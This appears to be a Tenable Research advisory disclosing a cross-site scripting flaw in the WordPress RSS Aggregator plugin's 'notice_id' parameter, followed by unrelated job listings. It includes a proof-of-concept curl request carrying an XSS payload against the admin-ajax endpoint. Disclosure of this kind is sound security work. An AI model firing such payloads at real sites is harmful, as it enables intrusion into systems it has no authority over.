May 14, 2024, 7:34 a.m. | Rémy Marot

Tenable Research Advisories www.tenable.com

Cross-Site Scripting in WordPress RSS Aggregator Plugin

A researcher at Tenable discovered a Cross-Site Scripting (XSS) vulnerability in the WordPress RSS Aggregator plugin.

The XSS exists because of a lack of sanitization of the 'notice_id'  GET parameter.

Proof Of Concept:

The vulnerability can be reproduced by performing the following GET HTTP request against a WordPress instance using a vulnerable version of the plugin and noticing the client-side JavaScript execution :

curl 'http://WORDPRESS/wp-admin/admin-ajax.php?action=wprss_admin_notice_hide&notice_id=onload=alert`1`>' -H 'Cookie: [subscriber cookie]'<code>

Rémy Marot
Tue, 05/14/2024 …

cross-site plugin rss scripting wordpress

CyberSOC Technical Lead

@ Integrity360 | Sandyford, Dublin, Ireland

Cyber Security Strategy Consultant

@ Capco | New York City

Cyber Security Senior Consultant

@ Capco | Chicago, IL

Sr. Product Manager

@ MixMode | Remote, US

Corporate Intern - Information Security (Year Round)

@ Associated Bank | US WI Remote

Senior Offensive Security Engineer

@ CoStar Group | US-DC Washington, DC